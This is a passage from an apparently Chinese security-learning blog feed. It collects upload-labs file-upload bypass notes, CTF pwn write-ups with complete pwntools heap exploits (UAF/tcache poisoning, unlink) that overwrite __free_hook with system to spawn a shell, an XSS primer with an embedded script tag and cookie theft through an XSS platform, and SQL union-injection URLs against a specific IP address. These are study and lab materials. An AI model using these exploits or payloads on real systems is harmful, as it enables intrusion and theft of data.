‘.’);<br>        $file_ext = strtolower($file_ext); //转换为小写<br>        $file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA<br>        $file_ext = trim($file_ext); //首尾去空</p><p>比起上面的，都进行了过滤和限制，但是存在逻辑漏洞</p><p>当我们构造一个 phpinfo.php. .的文件时</p><p>phpinfo.php. .　　–删除文件名末尾的点–&gt;phpinfo.php. </p><p>phpinfo.php. 　　 ——转换为小写———-&gt;phpinfo.php. </p><p>phpinfo.php. 　　 —去除字符串::$DATA–&gt;phpinfo.php. </p><p>phpinfo.php. 　　 ——-首尾去空————&gt;phpinfo.php.</p><p>phpinfo.php.　　  –后缀没有在黑名单中—&gt;成功上传—–&gt;解析时默认删除末尾的 . —&gt;最终等价于上传了phpinfo.php文件</p><p><img src="https://s2.loli.net/2022/03/24/UoPEfYyx1uiXr2t.gif"></p><h2 id="upload-lab-10"><a href="#upload-lab-10" class="headerlink" title="upload-lab-10"></a>upload-lab-10</h2><p>上传 10.pphphp 文件</p><p>后端黑名单中包含 ‘php’ , 会将php替换为空 , 但只替换一次 , 替换后的文件名为 10.php , 仍然可以正常使用</p><p><img src="https://s2.loli.net/2022/03/24/JngtwYSZAed5xEP.gif"></p><h2 id="upload-lab-11"><a href="#upload-lab-11" class="headerlink" title="upload-lab-11"></a>upload-lab-11</h2><p>%00截断</p><p>.pphphp</p><p>都不对，气死了</p><h2 id="upload-lab-12"><a href="#upload-lab-12" class="headerlink" title="upload-lab-12"></a>upload-lab-12</h2><p>利用%00url截断绕过</p><p><img src="https://s2.loli.net/2022/03/24/lHAomEN7pGrQ5ea.gif"></p><h2 id="upload-lab-13"><a href="#upload-lab-13" class="headerlink" title="upload-lab-13"></a>upload-lab-13</h2><p>也是利用%00url截断绕过，但是环境问题无法验证，需要低版本的php</p><h2 id="upload-lab-14"><a href="#upload-lab-14" class="headerlink" title="upload-lab-14"></a>upload-lab-14</h2><p><a href="https://blog.csdn.net/qq_42702981/article/details/118652121">制作图片木马https://blog.csdn.net/qq_42702981/article/details/118652121</a></p><p>存在文件包含漏洞</p><pre><code>&lt;?php/*本页面存在文件包含漏洞，用于测试图片马是否能正常运行！*/header(&quot;Content-Type:text/html;charset=utf-8&quot;);$file = $_GET[&#39;file&#39;];if(isset($file))&#123;    include $file;&#125;else&#123;    show_source(__file__);&#125;?&gt;</code></pre><p>判断了是否为图片</p><pre><code>function isImage($filename)&#123;    $types = &#39;.jpeg|.png|.gif&#39;;    if(file_exists($filename))&#123;        $info = getimagesize($filename);        $ext = image_type_to_extension($info[2]);        if(stripos($types,$ext))&#123;            return $ext;        &#125;else&#123;            return false;        &#125;    &#125;else&#123;        return false;    &#125;&#125;</code></pre><p>上传带有木马的jpg文件，通过文件包含漏洞执行</p><h2 id="upload-lab-15"><a href="#upload-lab-15" class="headerlink" title="upload-lab-15"></a>upload-lab-15</h2><p>与14相同</p><h2 id="upload-lab-16"><a href="#upload-lab-16" class="headerlink" title="upload-lab-16"></a>upload-lab-16</h2><p><a href="https://blog.csdn.net/u014029795/article/details/102908114">https://blog.csdn.net/u014029795/article/details/102908114</a></p><p>存在二次渲染，需要手动寻找未被修改的位置，写入payload.</p><p><a href="https://blog.csdn.net/u014029795/article/details/102908114">https://blog.csdn.net/u014029795/article/details/102908114</a></p><h2 id="upload-lab-17"><a href="#upload-lab-17" class="headerlink" title="upload-lab-17"></a>upload-lab-17</h2><p>条件竞争</p><p>通过不断发包从而达到效果，可以通过burp进行爆破</p><p><a href="https://www.fujieace.com/penetration-test/upload-labs-pass-17.html">https://www.fujieace.com/penetration-test/upload-labs-pass-17.html</a></p><h2 id="upload-lab-18"><a href="#upload-lab-18" class="headerlink" title="upload-lab-18"></a>upload-lab-18</h2><p>和17 相同</p><h2 id="upload-lab-19"><a href="#upload-lab-19" class="headerlink" title="upload-lab-19"></a>upload-lab-19</h2>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;文件上传漏洞&quot;&gt;&lt;a href=&quot;#文件上传漏洞&quot; class=&quot;headerlink&quot; title=&quot;文件上传漏洞&quot;&gt;&lt;/a&gt;文件上传漏洞&lt;/h1&gt;&lt;p&gt;对文件上传类型进行区分，是属于编辑器文件上传，还是属于第三方应用，还是会员中心。要确保文件上传是什么类型，就</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>十一月六日-CTF-PWN</title>
    <link href="http://example.com/2022/10/01/%E4%B8%9C%E5%8D%8E%E6%9D%AF11.6/"/>
    <id>http://example.com/2022/10/01/%E4%B8%9C%E5%8D%8E%E6%9D%AF11.6/</id>
    <published>2022-10-01T09:33:18.659Z</published>
    <updated>2021-11-15T17:34:25.171Z</updated>
    
    <content type="html"><![CDATA[<p>最近打东华杯，因为看不懂c++，所以遭重了。花了一点时间学习C++的反汇编，终于把它拿捏了。</p><h1 id="CPP"><a href="#CPP" class="headerlink" title="CPP"></a>CPP</h1><p>UAF漏洞，在rm函数中，并没有将指针设置为0.所以我们可以将某个chunk free 后然后直接利用md函数修改其fd指针，从而进行unsortbin_attack</p><p>add(0),free(0)后可以直接利用未消除的指针进行泄露地址</p><p>这里可以选择覆盖tcache_str为大数，下下次分配chunk时将直接进入unsortbin。<br><strong><em>这里需要格外注意的是，这里并未直接将改tcache_num设置为7 ，而是利用tcache和unsortbin的指针指向相差了0x10，因此被分配到最高地址的chunk被free时将会进入unsortbin，而其上一个被free的chunk仍进入tchche这为之后修改tchche的fd提供了方便</em></strong></p><p>第一次free:</p><p><img src="https://i.loli.net/2021/11/07/AuBT9yV2rQLozR7.png"></p><p>第二次free:</p><p><img src="https://i.loli.net/2021/11/07/CLGoyrjsJ9pPKRO.png"></p><p>也是因为未清除指针的原因，可以直接读出fd的值然后计算出__free_hook</p><p>覆盖tcache的fd为__free_hook，然后连续malloc两个chunk,free掉有“/bin/sh\x00”的chunk</p><pre><code>#! /usr/bin/python3from pwn import*io = process(&#39;./cpp2&#39;)elf = ELF(&quot;./cpp2&quot;)libc = ELF(&#39;./libc-2.31.so&#39;)r   =  lambda x : io.recv(x)rx  =  lambda x: io.recv(x)ra  =  lambda   : io.recvall()rl  =  lambda   : io.recvline(keepends = True)ru  =  lambda x : io.recvuntil(x, drop = True)s   =  lambda x : io.send(x)sl  =  lambda x : io.sendline(x)sa  =  lambda x, y : io.sendafter(x, y)sla =  lambda x, y : io.sendlineafter(x, y)ia  =  lambda : io.interactive()c   =  lambda : io.close()li    = lambda x : log.info(&#39;\x1b[01;38;5;214m&#39; + x + &#39;\x1b[0m&#39;)def ad(idx,size): sla(&#39;&gt;&gt;&#39;,str(1)) sla(&#39;I:&gt;&gt;&#39;,str(idx)) sla(&#39;S:&gt;&gt;&#39;,str(size))def md(idx,con): sla(&#39;&gt;&gt;&#39;,str(2)) sla(&#39;I:&gt;&gt;&#39;,str(idx)) sla(&#39;V:&gt;&gt;&#39;,con)def rm(idx): sla(&#39;&gt;&gt;&#39;,str(4)) sla(&#39;I:&gt;&gt;&#39;,str(idx))def dp(idx): sla(&#39;&gt;&gt;&#39;,str(3)) sla(&#39;I:&gt;&gt;&#39;,str(idx))ad(0,0x67)ad(1,0x67)ad(2,0x67)ad(3,0x67)rm(0)rm(1)dp(1)io.recvuntil(&#39;\n&#39;)heap = u64(io.recv(6).ljust(8,b&#39;\x00&#39;)) - 0x12EC0 + 0x10print(&quot;heap-----&gt;&quot;+hex(heap))md(1,p64(heap))ad(4,0x67)ad(5,0x67)md(5,b&#39;\x00&#39;*0x48+b&#39;\x00&#39;*6+b&#39;\x07&#39;)#md(5,b&#39;\x00&#39;*10 + b&#39;\x07&#39;)rm(3)rm(5)dp(5)leak = u64(io.recvuntil(&#39;\x7f&#39;)[-6:] + b&#39;\x00\x00&#39;)free = leak - 96 - 0x10 - libc.sym[&#39;__malloc_hook&#39;] + libc.sym[&#39;__free_hook&#39;]system = leak - 96 - 0x10 - libc.sym[&#39;__malloc_hook&#39;] + libc.sym[&#39;system&#39;]print(hex(leak))print(hex(free))md(3,p64(free))ad(6,0x67)md(6,b&#39;/bin/sh\x00&#39;)ad(7,0x67)md(7,p64(system))rm(6)#gdb.attach(io)io.interactive()</code></pre><h1 id="CPP2"><a href="#CPP2" class="headerlink" title="CPP2"></a>CPP2</h1><p>堆溢出漏洞</p><p>填充tcache至满，再次free进入unsorbin,截取泄露libc.</p><p>通过堆溢出漏洞修改tcache fd,进行unsortbin_attack.</p><pre><code>#! /usr/bin/python3from pwn import *sh = process(&#39;./cpp&#39;)elf = ELF(&#39;./cpp&#39;)libc = ELF(&#39;./libc-2.31.so&#39;)def ad(idx, size):    sh.sendlineafter(&quot;&gt;&gt;\n&quot;, &#39;1&#39;)    sh.sendlineafter(&quot;I:&gt;&gt;\n&quot;, str(idx))    sh.sendlineafter(&quot;S:&gt;&gt;\n&quot;, str(size))def md(idx, content):    sh.sendlineafter(&quot;&gt;&gt;\n&quot;, &#39;2&#39;)    sh.sendlineafter(&quot;I:&gt;&gt;\n&quot;, str(idx))    sh.sendlineafter(&quot;V:&gt;&gt;\n&quot;, content)def dp(idx):    sh.sendlineafter(&quot;&gt;&gt;\n&quot;, &#39;3&#39;)    sh.sendlineafter(&quot;I:&gt;&gt;\n&quot;, str(idx))def rm(idx):    sh.sendlineafter(&quot;&gt;&gt;\n&quot;, &#39;4&#39;)    sh.sendlineafter(&quot;I:&gt;&gt;\n&quot;, str(idx))for i in range(9):    ad(i,0x88)for i in range(7,0,-1):    rm(i)rm(0)ad(9,0x78)dp(9)#gdb.attach(sh)leak = u64(sh.recvuntil(&#39;\x7f&#39;)[-6:]+b&#39;\x00\x00&#39;)base = leak - 224 -0x10 - libc.sym[&#39;__malloc_hook&#39;]free = base + libc.sym[&#39;__free_hook&#39;]system = base + libc.sym[&#39;system&#39;]print(hex(leak))print(hex(free))print(hex(system))ad(1,0x88)md(1,b&#39;a&#39;*0x90 + p64(free))ad(2,0x88)md(2,b&#39;/bin/sh\x00&#39;)ad(3,0x88)md(3,p64(system))rm(2)#gdb.attach(sh)sh.interactive()</code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最近打东华杯，因为看不懂c++，所以遭重了。花了一点时间学习C++的反汇编，终于把它拿捏了。&lt;/p&gt;
&lt;h1 id=&quot;CPP&quot;&gt;&lt;a href=&quot;#CPP&quot; class=&quot;headerlink&quot; title=&quot;CPP&quot;&gt;&lt;/a&gt;CPP&lt;/h1&gt;&lt;p&gt;UAF漏洞，在rm函数中</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>三个访问Google的方式</title>
    <link href="http://example.com/2022/10/01/%E4%B8%89%E4%B8%AA%E8%AE%BF%E9%97%AE%E8%B0%B7%E6%AD%8C%E7%9A%84%E6%96%B9%E5%BC%8F/"/>
    <id>http://example.com/2022/10/01/%E4%B8%89%E4%B8%AA%E8%AE%BF%E9%97%AE%E8%B0%B7%E6%AD%8C%E7%9A%84%E6%96%B9%E5%BC%8F/</id>
    <published>2022-10-01T09:33:18.657Z</published>
    <updated>2020-12-01T18:25:29.233Z</updated>
    
    <content type="html"><![CDATA[<p>1.修改host文件</p><pre><code>首先、Hosts它是一个没有扩展名的系统文件，而它的的基本作用就是将一些我们个人常用的网址和相对应的IP地址建立一个关联“数据库”。所以，当我们（也就是用户）在浏览器输入一个需要我们登录的网址时，我们的计算机系统会首先自动的从Hosts文件中寻找对应的IP地址。如果一旦找到对应的IP地址，我们的系统将会立即打开对应的网页；如果没有找到，这时候系统将会把网址交给DNS域名解析服务器进行IP地址的解析。而如果系统发现是被屏蔽的IP或域名，就会禁止打开此网页！</code></pre><p>2.设置代理服务器</p><pre><code>须送出Request信号来得到回答，然后对方再把信息以bit方式传送回来。代理服务器是介于浏览器和Web服务器之间的一台服务器，有了它之后，浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求，Request信号会先送到代理服务器，由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。因此代理服务器仅作用于网页，在其他应用上仍使用的真实IP。</code></pre><p>3.使用vpn</p><pre><code>与代理服务器不同的是VPN可以为全局网络改变IP，其他与代理服务器类似。所以VPN是居家旅行，杀人越货的必要之选。：）</code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;1.修改host文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;首先、Hosts它是一个没有扩展名的系统文件，而它的的基本作用就
是将一些我们个人常用的网址和相对应的IP地址建立一个关联“数据库”。
所以，当我们（也就是用户）在浏览器输入一个需要我们登录的网址
时，我们的计算机系统会首</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Web学习  XSS 跨站漏洞</title>
    <link href="http://example.com/2022/10/01/xss/"/>
    <id>http://example.com/2022/10/01/xss/</id>
    <published>2022-10-01T09:33:18.655Z</published>
    <updated>2022-04-08T16:51:07.892Z</updated>
    
    <content type="html"><![CDATA[<h1 id="XSS-跨站漏洞"><a href="#XSS-跨站漏洞" class="headerlink" title="XSS 跨站漏洞"></a>XSS 跨站漏洞</h1><h2 id="XSS简介"><a href="#XSS简介" class="headerlink" title="XSS简介"></a>XSS简介</h2><script>alert('xss')</script><p>跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。</p><p>攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。</p><p>xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中，通过用户本地浏览器执行的，所以xss漏洞关键就是寻找参数未过滤的输出函数。</p><h2 id="产生层面"><a href="#产生层面" class="headerlink" title="产生层面"></a>产生层面</h2><p>产生层面一般都是在前端，JavaScript代码能干什么，执行之后就会达到相应的效果</p><h2 id="函数类"><a href="#函数类" class="headerlink" title="函数类"></a>函数类</h2><p>比如说php中的脚本的输出函数</p><p>常见的输出函数有：print、print_r、echo、printf、sprintf、die、var_dump、var_export</p><p>XSS 跨站漏洞分类：</p><ol><li><p>反射型<br>&lt;非持久化&gt; 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。<br>发包 x=xiaodi =&gt; x.php =&gt; 回包</p></li><li><p>储存型<br>&lt;持久化&gt; 代码是存储在服务器中的，如在个人信息或发表文章等地方，加入代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，每当有用户访问该页面的时候都会触发代码执行，这种XSS非常危险，容易造成蠕虫，大量盗窃cookie（虽然还有种DOM型XSS，但是也还是包括在存储型XSS内）。<br>发包 x=xiaodi =&gt; x.php =&gt; 写道数据库某个表 =&gt; x.php =&gt;回显</p></li><li><p>DOM型<br>基于文档对象模型Document Objeet Model，DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口，它允许程序或脚本动态地访问和更新文档内容、结构和样式，处理后的结果能够成为显示页面的一部分。DOM中有很多对象，其中一些是用户可以操纵的，如uRI ，location，refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容，它不依赖于提交数据到服务器端，而从客户端获得DOM中的数据在本地执行，如果DOM中的数据没有经过严格确认，就会产生DOM XSS漏洞。<br>发包 x=xiaodi =&gt; 本地浏览器静态前端代码 =x.php</p><p> ‘ onclick=”alert(2)”&gt;</p></li></ol><p><img src="https://s2.loli.net/2022/03/20/sVX35oTxpwF6vDR.png"></p><p>利用xss平台可以盗取cookie</p><p><a href="https://xssaq.com/xss.php?do=project&amp;act=viewcode&amp;ty=create&amp;id=12491">https://xssaq.com/xss.php?do=project&amp;act=viewcode&amp;ty=create&amp;id=12491</a></p><p>也可以通过向自己搭建的网站发送cookie</p><p>上传代码<br><img src="https://s2.loli.net/2022/03/20/VKsu9ZW2fzeotgj.png"></p><p>本地网站<br><img src="https://s2.loli.net/2022/03/20/7NqSFuhBUlTYswJ.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;XSS-跨站漏洞&quot;&gt;&lt;a href=&quot;#XSS-跨站漏洞&quot; class=&quot;headerlink&quot; title=&quot;XSS 跨站漏洞&quot;&gt;&lt;/a&gt;XSS 跨站漏洞&lt;/h1&gt;&lt;h2 id=&quot;XSS简介&quot;&gt;&lt;a href=&quot;#XSS简介&quot; class=&quot;headerlink</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>unlink</title>
    <link href="http://example.com/2022/10/01/unlink/"/>
    <id>http://example.com/2022/10/01/unlink/</id>
    <published>2022-10-01T09:33:18.654Z</published>
    <updated>2022-01-23T14:33:30.285Z</updated>
    
    <content type="html"><![CDATA[<p>今天复习一下unlink的原理及触发方式，这里主要2.29之前的方法，之后的利用写在off_by_none中。</p><p>unlink在合并堆块时，会将被合并的堆块从bin链中取出之后的链将变成FD-&gt;bk = BK ; BK-&gt;fd = FD , 可以利用这种机制在特定的地址处写入堆块（需要满足FD-&gt;bk == p ; BK-&gt;fd ==p）</p><p>以2014 HITCON stkof作为例题演示</p><p>在edit中写入的size是可控的，所以存在溢出漏洞</p><p><img src="https://s2.loli.net/2022/01/23/AHMIYEC2BWszcJy.png"></p><p>可以发现chunk的地址被存储在了这个地址head，可以通过伪造chunk及其fd,bk从而将chunk写入该位置。</p><p>申请三个堆，用于unlink的堆块不可进入fastbin否则无法触发unlink</p><p><img src="https://s2.loli.net/2022/01/23/smhTbauCo85MdlS.png"></p><p>伪造fackchunk 其fd = head-0x8 ; bk = head,注意其下一chunk的prevsize 和 inuse都需要修改使其认为fakechunk是其上一chunk.</p><p>free造成unlink,FD-bk = BK ; BK-&gt;fd = FD (如图)</p><p><img src="https://s2.loli.net/2022/01/23/Ai7fJtnVmdIMpKR.png"></p><pre><code>ad(0x20)ad(0x30)ad(0x80) #must be smallbinhead = 0x0602140payload = p64(0) + p64(0x20) + p64(head - 0x8) + p64(head) + p64(0) + p64(0) + p64(0x30) + p64(0x90) # make it believe that prev chunk is at fakechunkmd(2,len(payload),payload)#gdb.attach(io)rm(3)</code></pre><p>之后可以通过编辑chunk2来leak.将free_got , puts_got , atoi_got 分别填入chunk中，再次编辑将free_got中写入puts_plt，这样调用free可以泄露地址。</p><p><img src="https://s2.loli.net/2022/01/23/E1lDqKQ53wtRxW8.png"></p><pre><code>payload = b&#39;a&#39; * 8 + p64(elf.got[&#39;free&#39;]) + p64(elf.got[&#39;puts&#39;]) + p64(elf.got[&#39;atoi&#39;])md(2,len(payload),payload)#gdb.attach(io)payload = p64(elf.plt[&#39;puts&#39;])md(0,len(payload),payload)rm(1)puts_addr = io.recvuntil(&#39;\nOK\n&#39;, drop=True).ljust(8, b&#39;\x00&#39;)puts_addr = u64(puts_addr)log.success(&#39;puts addr: &#39; + hex(puts_addr))base = puts_addr - libc.sym[&#39;puts&#39;]binsh = base + libc.search(b&quot;/bin/sh&quot;).__next__()system = base + libc.sym[&#39;system&#39;]</code></pre><p>最后想atoi_got中写入system,传入bin_sh的参数即可getshell</p><pre><code>li(&quot;system---&gt;&quot;+hex(system))md(2,len(p64(system)),p64(system))io.sendline(p64(binsh))</code></pre><p>完整exp如下：</p><pre><code>#! /usr/bin/python3#-*- coding:utf-8 -*-from pwn import *import osr   =  lambda x : io.recv(x)ra  =  lambda   : io.recvall()rl  =  lambda   : io.recvline(keepends = True)ru  =  lambda x : io.recvuntil(x, drop = True)s   =  lambda x : io.send(x)sl  =  lambda x : io.sendline(x)sa  =  lambda x, y : io.sendafter(x, y)sla =  lambda x, y : io.sendlineafter(x, y)ia  =  lambda : io.interactive()c   =  lambda : io.close()li    = lambda x : log.info(&#39;\x1b[01;38;5;214m&#39; + x + &#39;\x1b[0m&#39;)#------------------------------------------------io = process(&#39;./stkof&#39;)context.log_level=&#39;debug&#39;elf = ELF(&#39;./stkof&#39;)libc = elf.libccontext.log_level = &#39;debug&#39;#------------------------------------------------def ad(size):    io.sendline(&#39;1&#39;)    io.sendline(str(size))    io.recvuntil(&#39;OK\n&#39;)def md(idx, size, content):    io.sendline(&#39;2&#39;)    io.sendline(str(idx))    io.sendline(str(size))    io.send(content)    io.recvuntil(&#39;OK\n&#39;)def rm(idx):    io.sendline(&#39;3&#39;)    io.sendline(str(idx))def finish():    io.interactive()def exploit():    ad(0x20)    ad(0x30)    ad(0x80) #must be smallbin    head = 0x0602140    payload = p64(0) + p64(0x20) + p64(head - 0x8) + p64(head) + p64(0) + p64(0) + p64(0x30) + p64(0x90) # make it believe that prev chunk is at fakechunk    md(2,len(payload),payload)    rm(3)    gdb.attach(io)    io.recvuntil(&#39;OK\n&#39;)    payload = b&#39;a&#39; * 8 + p64(elf.got[&#39;free&#39;]) + p64(elf.got[&#39;puts&#39;]) + p64(elf.got[&#39;atoi&#39;])    md(2,len(payload),payload)    #gdb.attach(io)    payload = p64(elf.plt[&#39;puts&#39;])    md(0,len(payload),payload)    rm(1)    puts_addr = io.recvuntil(&#39;\nOK\n&#39;, drop=True).ljust(8, b&#39;\x00&#39;)    puts_addr = u64(puts_addr)    log.success(&#39;puts addr: &#39; + hex(puts_addr))    base = puts_addr - libc.sym[&#39;puts&#39;]    binsh = base + libc.search(b&quot;/bin/sh&quot;).__next__()    system = base + libc.sym[&#39;system&#39;]    li(&quot;system---&gt;&quot;+hex(system))    md(2,len(p64(system)),p64(system))    io.sendline(p64(binsh))#-------------------------------startif __name__ == &#39;__main__&#39;:    exploit()    finish()</code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;今天复习一下unlink的原理及触发方式，这里主要2.29之前的方法，之后的利用写在off_by_none中。&lt;/p&gt;
&lt;p&gt;unlink在合并堆块时，会将被合并的堆块从bin链中取出之后的链将变成FD-&amp;gt;bk = BK ; BK-&amp;gt;fd = FD , 可以利用</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>tcache结构体</title>
    <link href="http://example.com/2022/10/01/tcathe_%E4%BF%AE%E6%94%B9fd/"/>
    <id>http://example.com/2022/10/01/tcathe_%E4%BF%AE%E6%94%B9fd/</id>
    <published>2022-10-01T09:33:18.651Z</published>
    <updated>2022-03-16T10:50:24.877Z</updated>
    
    <content type="html"><![CDATA[<p>利用修改tcache的fd，从而使得tcache</p><p>先看一下tcache的源代码：</p><p>tcache_get()：</p><pre><code>static __always_inline void *tcache_get (size_t tc_idx)&#123;  tcache_entry *e = tcache-&gt;entries[tc_idx];  assert (tc_idx &lt; TCACHE_MAX_BINS);  assert (tcache-&gt;entries[tc_idx] &gt; 0);  tcache-&gt;entries[tc_idx] = e-&gt;next;  --(tcache-&gt;counts[tc_idx]);  return (void *) e;&#125;</code></pre><hr><p>tcache_put()：</p><pre><code>tcache_put (mchunkptr chunk, size_t tc_idx)&#123;  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);  assert (tc_idx &lt; TCACHE_MAX_BINS);  e-&gt;next = tcache-&gt;entries[tc_idx];  tcache-&gt;entries[tc_idx] = e;  ++(tcache-&gt;counts[tc_idx]);&#125;</code></pre><p>可见tcache-&gt;counts[tc_idx]会记录tcache的个数，所以可以通过溢出来控制该参数，从而达到使得本该进入tchche的堆块进入unsortbin.</p><p>以华东杯cpp2为例</p><p>先泄露堆的地址，不多赘述 了</p><pre><code>for i in range(2):   ad(i,0x67)ad(2,0x67)rm(0)rm(1)dp(1)ru(&#39;\n&#39;)heap = u64(rx(6).ljust(8,b&#39;\x00&#39;)) - 0x12EC0 + 0x10li(&quot;heap-----&gt;&quot;+hex(heap))</code></pre><p>重点说一下这里</p><pre><code>md(1,p64(heap))ad(3,0x67)ad(4,0x67)md(4,b&#39;\x00&#39;*0x48+b&#39;\x00&#39;*6+b&#39;\x07&#39;)rm(3)rm(4)dp(4)</code></pre><p>一定要先free(3),再free(4)</p><p>free掉3后chunk_3会进入tcache，free掉4后tcache-&gt;counts[tc_idx]会全部修改。而这个tcache可以为2之后的攻击提供条件。</p><p>如果先free_4，再free_3,chunk_3会进入fastbin,将难以利用tcache_attack</p><p>先free(3),再free(4)<br><img src="https://s2.loli.net/2022/03/16/T1e4lxmUbQS7WFO.png"></p><p>先free(4),再free(3)<br><img src="https://s2.loli.net/2022/03/16/asAXNzOSptmofBY.png"></p><p>之后泄露则利用进入unsortbin的chunk_4</p><p>chunk_4的size为0x290是因为tcache结构体为0x290,就是这个</p><p><img src="https://s2.loli.net/2022/03/16/zPmtB4yuw15WZUF.png"></p><p>最后exp如下</p><hr><pre><code>#! /usr/bin/python3from pwn import *import timecontext.arch = &#39;amd64&#39;context.log_level = &#39;debug&#39;one = []elf = ELF(&#39;./cpp2&#39;)#io = remote(&#39;47.104.143.202&#39;,15348)#libc = ELF(&#39;/lib/x86_64-linux-gnu/libc.so.6&#39;)io = process(&#39;./cpp2&#39;)libc = elf.libcr   =  lambda x : io.recv(x)rx  =  lambda x: io.recv(x)ra  =  lambda   : io.recvall()rl  =  lambda   : io.recvline(keepends = True)ru  =  lambda x : io.recvuntil(x, drop = True)s   =  lambda x : io.send(x)sl  =  lambda x : io.sendline(x)sa  =  lambda x, y : io.sendafter(x, y)sla =  lambda x, y : io.sendlineafter(x, y)ia  =  lambda : io.interactive()c   =  lambda : io.close()li    = lambda x : log.info(&#39;\x1b[01;38;5;214m&#39; + x + &#39;\x1b[0m&#39;)one = []def ad(idx,size): sla(&#39;&gt;&gt;&#39;,str(1)) sla(&#39;I:&gt;&gt;&#39;,str(idx)) sla(&#39;S:&gt;&gt;&#39;,str(size))def md(idx,con): sla(&#39;&gt;&gt;&#39;,str(2)) sla(&#39;I:&gt;&gt;&#39;,str(idx)) sla(&#39;V:&gt;&gt;&#39;,con)def rm(idx): sla(&#39;&gt;&gt;&#39;,str(4)) sla(&#39;I:&gt;&gt;&#39;,str(idx))def dp(idx): sla(&#39;&gt;&gt;&#39;,str(3)) sla(&#39;I:&gt;&gt;&#39;,str(idx))#-----------------------for i in range(2):   ad(i,0x67)ad(2,0x67)rm(0)rm(1)dp(1)ru(&#39;\n&#39;)heap = u64(rx(6).ljust(8,b&#39;\x00&#39;)) - 0x12EC0 + 0x10li(&quot;heap-----&gt;&quot;+hex(heap))md(1,p64(heap))ad(3,0x67)ad(4,0x67)md(4,b&#39;\x00&#39;*0x48+b&#39;\x00&#39;*6+b&#39;\x07&#39;)rm(3)rm(4)dp(4)base = u64(ru(b&#39;\x7f&#39;)[-5:] + b&#39;\x7f\x00\x00&#39;)base = base - 96 - 0x10 - libc.sym[&#39;__malloc_hook&#39;]li(&quot;base-----&gt;&quot;+hex(base))system = base + libc.sym[&#39;system&#39;]free = base + libc.sym[&#39;__free_hook&#39;]#bin_sh = bases + libc.search(b&#39;/bin/sh\x00&#39;)li(&quot;system-----&gt;&quot;+hex(system))li(&quot;free-----&gt;&quot;+hex(free))md(3,p64(free))ad(5,0x67)ad(6,0x67)md(5,b&#39;/bin/sh\x00&#39;)md(6,p64(system))rm(5)io.interactive()</code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;利用修改tcache的fd，从而使得tcache&lt;/p&gt;
&lt;p&gt;先看一下tcache的源代码：&lt;/p&gt;
&lt;p&gt;tcache_get()：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static __always_inline void *
tcache_get (size_t tc_i</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Web学习 sql注入</title>
    <link href="http://example.com/2022/10/01/sql%E6%B3%A8%E5%85%A5/"/>
    <id>http://example.com/2022/10/01/sql%E6%B3%A8%E5%85%A5/</id>
    <published>2022-10-01T09:33:18.648Z</published>
    <updated>2022-04-08T16:48:13.629Z</updated>
    
    <content type="html"><![CDATA[<p>知识点:<br>在MYsQL5.o以上版本中,mysql存在一个自带数据库名为<br>information_schema，它是一个存储记录有所有数掘库名，表名，列名的数据库，也相当于可以通过查询它获取指定数据库下面的表名或列名信息。</p><p><img src="https://s2.loli.net/2022/03/06/j2SEkoWpRh7VgfL.png"></p><p>information_schema.tables:     记录所有表名信息的表<br>information_schema.columns:    记录所有列名信息的表</p><p>table__name :表名<br>column_name:列名<br>table_schema:数据库名</p><p>group_concat(table_name)   查询所有的表名</p><p>猜解列名数量（字段数)<br>    order by x  (x 变动,查看网页是否正常)</p><pre><code>http://219.153.49.228:48354/new_list.php?id=1 order by 1</code></pre><p>报错猜解准备（查看可显示的字段）</p><pre><code>http://219.153.49.228:48354/new_list.php?id=-1 union select 1,2,3,4信息收集:数据库版本: version()数据库名字: database()数据库用户: user()操作系统:   @@version_compile_oshttp://219.153.49.228:48354/new_list.php?id=-1 union select 1,database(),3,version()</code></pre><hr><h1 id="高版本MYSQL利用information-schema库的注入"><a href="#高版本MYSQL利用information-schema库的注入" class="headerlink" title="高版本MYSQL利用information_schema库的注入"></a>高版本MYSQL利用information_schema库的注入</h1><p>必要知识点:<br>在MYSQL5.0以上版本中，mysql存在一个自带数据库名为<br>information_schema, 它是一个存储记录有所有数据库名，表名，列名的数据<br>库，也相当于可以通过查询它获取指定数据库下面的表名或列名信息。<br>低版本只能暴力猜解</p><p>数据库中符号”. “代表下一级，如xiao.user表示xiao数据库下的user表名</p><p>information_schema.tables    :记录所有表名信息的表<br>information_schema.columns   :记录所有列名信息的表</p><p>table__name :表名<br>column_name:列名<br>table_schema:数据库名</p><p>group_concat(table_name)   查询所有的表名</p><hr><p>查询指定数据库名mozhe_Discuz_stormGroup下的表名信息:</p><pre><code>http://219.153.49.228:48354/new_list.php?id=-1 union select1,group_concat (table_name),3,4 from information_schema.tables where table_schema=&#39;mozhe_Discuz_stormGroup&quot;</code></pre><p>查询指定表名stormGroup_member下的列名信息:</p><pre><code>http://219.153.49.228:48354/new_list.php?id=-1 